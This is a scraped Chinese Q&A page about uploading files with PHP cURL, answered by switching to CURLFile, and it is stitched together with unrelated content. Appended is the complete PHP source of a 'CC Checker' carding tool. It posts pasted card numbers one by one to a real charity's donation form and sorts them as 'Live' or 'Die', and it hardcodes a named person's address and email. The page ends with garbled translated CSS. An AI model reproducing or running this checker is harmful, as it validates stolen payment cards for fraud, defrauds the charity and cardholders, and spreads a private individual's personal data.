Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/php/280.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Php Curl上传文件作为post变量使用path_Php_Curl_File Upload - Fatal编程技术网

Php Curl上传文件作为post变量使用path

Php Curl上传文件作为post变量使用path,php,curl,file-upload,Php,Curl,File Upload,我有一个奇怪的问题,我正试图上传这样一个文件 包含该文件的数组 var_dump($files); array(1) { ["files"]=> string(21) "@/tmp/emailimg_niXmYl" } 而curl请求是下一个: $ch = curl_init(UPLOAD_IMAGE_URL); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS,$files)

我有一个奇怪的问题,我正试图上传这样一个文件

包含该文件的数组

var_dump($files);
array(1) {
  ["files"]=>
  string(21) "@/tmp/emailimg_niXmYl"
}
而curl请求是下一个:

$ch = curl_init(UPLOAD_IMAGE_URL);
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS,$files);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$result = curl_exec($ch);
问题是,另一方面,我没有在$\u文件中获取文件,而是将变量作为POST字段获取,就像我发送的和$\u文件数组是空的一样

var_dump($_POST);
array(1) {
  ["files"]=>
  string(21) "@/tmp/emailimg_niXmYl"
}
var_dump($_FILES);
array(0) {
}

我有php版本5.6.14

看起来它与该版本有关,但我不确定,我使用了新的卷发文件($path,$mimetype)而不是“@”。$file\u path解决了这个问题。我还将CURLOPT_SAFE_UPLOAD设置为true

仅适用于php 5.5或更高版本

Uniao Insane的CC检查器
<title>CC Checker by Uniao Insane</title>

<style>
body, table{
        background:#000000;
        padding:5px;
        margin:5px;
        font-family:Tahoma;
        font-size:11px;
        color:#FFFFFF;
}
textarea,input,select
{
        background:#736F6E;
        color:#FFFFFF;
        border:dashed #ffff00;
}
a {
        color:#00ff00;
}
a:hover{
        color:#ffff00;
}


fieldset {
  padding:5px;
  border-width: 1px;
  border-style: dotted;
  border-color: #ccc;
  text-align: left;
  background: #000000;
  position: relative;
}

legend {
  border-width: 1px;
  border-style: solid;
  border-color: #ccc;
  padding: 0 0.5em;
  background: #000000;
  font-size: 110%;
  color: #3e8f96;
  line-height: 1.5em;
  position: relative;
  top: -0.75em;
  letter-spacing: 2px;
  font-weight: bold;
}
.style1 {
        background-color: #008000;
}
</style>
<?php
error_reporting(0);
?>                                                             
<?php
error_reporting(0);
set_time_limit(0);
function _curl($url,$post="",$usecookie = false) {  
        $ch = curl_init();
        if($post) {
                curl_setopt($ch, CURLOPT_POST ,1);
                curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
        }
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/6.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3");
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        if ($usecookie) {
        curl_setopt($ch, CURLOPT_COOKIEJAR, $usecookie);
        curl_setopt($ch, CURLOPT_COOKIEFILE, $usecookie);    
        }
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
        $result=curl_exec ($ch);
        curl_close ($ch);
        return $result;
}



function percent($num_amount, $num_total) {
$count1 = $num_amount / $num_total;
$count2 = $count1 * 100;
$count = number_format($count2, 0);
return $count;
}

function getStr($string,$start,$end){
        $str = explode($start,$string);
        $str = explode($end,$str[1]);
        return $str[0];
}

function checkMon($date,$type){
        $len = strlen($date);
        if ($type == 2){
                if($len == 2){
                        return $date;
                }
                elseif($len == 1){
                        switch($date){
                                case '1':  $date='01'; break;
                                case '2':  $date='02'; break;
                                case '3':  $date='03'; break;
                                case '4':  $date='04'; break;
                                case '5':  $date='05'; break;
                                case '6':  $date='06'; break;
                                case '7':  $date='07'; break;
                                case '8':  $date='08'; break;
                                case '9':  $date='09'; break;
                        }
                }
                return $date;
        }
        elseif ($type == 1){
                if($len == 2){
                        switch ($date){
                                case '01':  $date='1'; break;
                                case '02':  $date='2'; break;
                                case '03':  $date='3'; break;
                                case '04':  $date='4'; break;
                                case '05':  $date='5'; break;
                                case '06':  $date='6'; break;
                                case '07':  $date='7'; break;
                                case '08':  $date='8'; break;
                                case '09':  $date='9'; break;
                                case '10': $date='10'; break;
                                case '11': $date='11'; break;
                                case '12': $date='12'; break;
                        }
                        return $date;
                }
                elseif($len == 1) return $date;
        }
        else return false;
}


function checkYear($date,$type){
        $len = strlen($date);
        if($type == 4){
                if($len == 4) return $date;
                elseif($len == 2) return "20".$date;
        }
        elseif($type == 2){
                if($len == 2) return $date;
                elseif($len == 4) return substr($date,-2);
        }
        else return false;
}

function multi_explode($pattern, $string, $standardDelimiter = ':'){
    $string = preg_replace(array($pattern, "/{$standardDelimiter}+/s"), $standardDelimiter, $string);
    return explode($standardDelimiter, $string);
}

function info($ccline,$type){
        $iscvv = 1;
        $pattern = '/[:\|\\\\\/\s]/';
        $line = multi_explode($pattern,$ccline);

        $typemy = explode(" ",$type);
        $typem = strlen($typemy[0]);
        $typey = strlen($typemy[1]);

        $amex = "american_express";
        $visa = "visa";
        $mast = "master";
        $disc = "Discover";

        foreach($line as $col){
                if(is_numeric($col)){
                        switch(strlen($col)){
                                case 15:
                                        if(substr($col,0,1)==3){
                                                $ccnum['num'] = $col;
                                                $ccnum['type'] = $amex;
                                        }
                                        break;
                                case 16:
                                        switch(substr($col,0,1)){
                                                case '4':
                                                        $ccnum['num'] = $col;
                                                        $ccnum['type'] = $visa;
                                                        break;
                                                case '5':
                                                        $ccnum['num'] = $col;
                                                        $ccnum['type'] = $mast;
                                                        break;
                                                case '6':
                                                        $ccnum['num'] = $col;
                                                        $ccnum['type'] = $disc;
                                                        break;
                                        }
                                        break;
                                case 1:
                                        if (($col >= 1) and ($col <=12) and (!isset($ccnum['mon']))) $ccnum['mon'] = checkMon($col,$typem); break;
                                case 2:
                                        if (($col >= 1) and ($col <=12) and (!isset($ccnum['mon']))){
                                                $ccnum['mon'] = checkMon($col,$typem);
                                        }
                                        elseif (($col >= 9) and ($col <= 19) and (isset($ccnum['mon'])) and (!isset($ccnum['year'])))    $ccnum['year'] = checkYear($col,$typey);
                                        break;
                                case 4:
                                        if (($col >= 2009) and ($col <= 2019) and (isset($ccnum['mon'])))    $ccnum['year'] = checkYear($col,$typey);
                                        elseif ((substr($col,0,2) >= 1) and (substr($col,0,2) <=12) and (substr($col,2,2)>= 9) and (substr($col,2,2) <= 19) and (!isset($ccnum['mon'])) and (!isset($ccnum['year']))){
                                                $ccnum['mon'] = checkMon(substr($col,0,2),$typem);
                                                $ccnum['year'] = checkYear(substr($col,-2),$typey);
                                        }
                                        else $ccv['cv4'] = $col;
                                        break;
                                case 6:
                                        if ((substr($col,0,2) >= 1) and (substr($col,0,2) <=12) and (substr($col,2,4)>= 2009) and (substr($col,2,4) <= 2019)){
                        $ccnum['mon'] = checkMon(substr($col,0,2),$typem);
                                                $ccnum['year'] = checkYear(substr($col,-2),$typey);
                    }
                    break;
                                case 3:
                                        $ccv['cv3'] = $col;
                    break;
                        }
                }
        }
        if($iscvv == 1){
                if ($ccnum['type'] == $amex) $ccnum['cvv'] = $ccv['cv4'];
                else $ccnum['cvv'] = $ccv['cv3'];
                return $ccnum;
        }
    else return $ccnum;
}
function inStr($s,$as){
        $s=strtoupper($s);
        if(!is_array($as)) $as=array($as);
        for($i=0;$i<count($as);$i++) if(strpos(($s),strtoupper($as[$i]))!==false) return true;
        return false;
}

if ($_POST['cclist']){
                global $cookie;
                $cookie = tempnam('tmp','avo'.rand(1000000,9999999).'tmp.txt');

                $cclive = "";
                $ccdie = "";
                $ccerr = "";
                $cccant = "";
                $uncheck = "";
                $limit = "";

                $cclist = trim($_POST['cclist']);
                $cclist = str_replace(array("\\\"","\\'"),array("\"","'"),$cclist);
                $cclist = str_replace("\r\r","\r",$cclist);
                $cclist = str_replace("\n\n","\n",$cclist);
                $cclist = explode("\n",$cclist);



                $STT = 0;
                $TOTAL = count($cclist);

                for($i=0;$i<count($cclist);$i++){
                        $ccnum = info($cclist[$i],"xx yyyy");
                        $type = $ccnum['type'];
                        $ccn = $ccnum['num'];
                        $ccmon = $ccnum['mon'];
                        $ccyear = $ccnum['year'];
                        $cvv = $ccnum['cvv'];

                        if ($ccn){
                                $STT++;
// Process Check
                $link = "https://donate.doctorswithoutborders.org/onetime.cfm";
                $post = "submitted=1&optimizelyhidden=&upsell_flag=1&monthly_lightbox=0&gift_amount=other&other_gift_amount=10&monthly_checkbox=1&acknowledgment_delivery=ecard&acknowledgment_type=H&ecardID=20&sender_name=&sender_email=&honoree_first_name=&honoree_last_name=&honoree_first_name_2=&honoree_last_name_2=&recipient_title=&recipient_first_name=&recipient_last_name=&recipient_email=&ecard_send_date=02%2F07%2F2016&send_copy=1&personal_message=&remLen1=160&honoree_first_name=&honoree_last_name=&company_name=&title=Dr.&first_name=Ailton&last_name=SIMOES+ARRAES&title_2=&first_name_2=&last_name_2=&address_1=RUA+GEN+BRAZ+ARANTES+&address_apt=105&city=Goiania&state=12&zip=74660210&country=32&email=benedito10220%40hotmail.com&phone=&card_type=2&credit_card_number=$ccn&cvv=$cvv&card_expiration_month=$ccmon&card_expiration_year=$ccyear&enews=";
                $s = _curl($link,$post,$cookie);                       
                                        if(inStr($s,'There was an error processing your card. Please check your information and re-submit when ready. Please make sure that the address below exactly matches your credit card billing address. If you need assistance, please contact us at 1-888-392-0392.')){
                                                echo "$STT/$TOTAL | <font color=red>Die | ".$cclist[$i]." "." | VideoAula\n</font><br>";  
                                                $ccdie .= $cclist[$i]."\n";
                                        }
                                        elseif(inStr($s,"Please enter the credit card number.")){
                                                echo "$STT/$TOTAL | <font color=DarkTurquoise>CC Invalida | ".$cclist[$i]." "." | VideoAula\n</font><br>";
                                                $ccinva .= $cclist[$i]."\n";
                                        }
                                        else{
                                                echo "$STT/$TOTAL | <font color=green>Live | ".$cclist[$i]." "." | VideoAula\n</font><br>";
                                                $cclive .= $cclist[$i]."\n" ;
                                        }

                                }
                                flush();
                }
                unlink($cookie);

                $per1 = percent(count(explode("\n",$cclive))-1,count($cclist));
                $per2 = percent(count(explode("\n",$ccdie))-1,count($cclist));
                $per3 = percent(count(explode("\n",$ccinva))-1,count($cclist));
                $per4 = percent(count(explode("\n",$ccexp))-1,count($cclist));
                $per5 = percent(count(explode("\n",$cccant))-1,count($cclist));
                $per6 = percent(count(explode("\n",$limit))-1,count($cclist));
                echo "<br><br><center><input type='submit' value='Next Check' onclick='location.replace(\"?\")'/></center>";
                echo "<center>";
                if($cclive!=""){
                        echo "<h2><font color=green>Live</font> $per1 % (".(count(explode("\n",$cclive))-1)."/".count($cclist).")</h2>";
                        echo "<textarea wrap=off rows=10 style=\"width:90%\">$cclive</textarea><br>";
                }
                if($ccdie!=""){
                        echo "<h2><font color=red>Die</font> $per2 % (".(count(explode("\n",$ccdie))-1)."/".count($cclist).")</h2>";
                        echo "<textarea wrap=off rows=10 style=\"width:90%\">$ccdie</textarea><br>";
                }
                if($ccinva!=""){
                        echo "<h2><font color=red>Invalid</font> $per3 % (".(count(explode("\n",$ccinva))-1)."/".count($cclist).")</h2>";
                        echo "<textarea wrap=off rows=10 style=\"width:90%\">$ccinva</textarea><br>";
                }
                if($ccexp!=""){
                        echo "<h2><font color=red>Exp</font> $per4 % (".(count(explode("\n",$ccexp))-1)."/".count($cclist).")</h2>";
                        echo "<textarea wrap=off rows=10 style=\"width:90%\">$ccexp</textarea><br>";
                }
                if($cccant!=""){
                        echo "<h2><font color=orange>CantCheck</font> $per5 % (".(count(explode("\n",$cccant))-1)."/".count($cclist).")</h2>";
                        echo "<textarea wrap=off rows=10 style=\"width:90%\">$cccant</textarea><br>";
                }

}

else{
?>
<center><span class="style1">TESTADOR DE CC<br>by Uniao Insane</span></center>
<form method="POST" action="">
      <fieldset>
          <legend>Enter List CC :</legend>
            <form action="" method=post name=f>

        <p align="center">
        <textarea id="cclist" name="cclist" class="textarea" style="width: 978px; height: 210px">5451369875462198|6|2016|000 - Depende do site que estiver usando!</textarea><br>Duplicate Remove: <input name=dup type=checkbox value=1 checked> Sort By Type: <input name=type type=checkbox value=1 checked><br>
                        Filter Date : <input name=date type=checkbox value=1 checked> Only check BIN: <input type=text name=bin MAXLENGTH=6 size=8 style="text-align:center"><br>
                <input type=submit name=submit value="CHECK">

        </p>

        </form>
</fieldset>
        <?php }?>
身体,桌子{ 背景:#000000; 填充物:5px; 保证金:5px; 字体系列:Tahoma; 字体大小:11px; 颜色:#FFFFFF; } 文本区域,输入,选择 { 背景#736F6E; 颜色:#FFFFFF; 边框:虚线#ffff00; } a{ 颜色:#00ff00; } a:悬停{ 颜色:#ffff00; } 字段集{ 填充物:5px; 边框宽度:1px; 边框样式:虚线; 边框颜色:#ccc; 文本对齐:左对齐; 背景:#000000; 位置:相对位置; } 传奇{ 边框宽度:1px; 边框样式:实心; 边框颜色:#ccc; 填充:0.5em; 背景:#000000; 字体大小:110%; 颜色:3e8f96; 线高:1.5em; 位置:相对位置; 顶部:-0.75em; 字母间距:2px; 字体大小:粗体; } .style1{ 背景色:#008000; }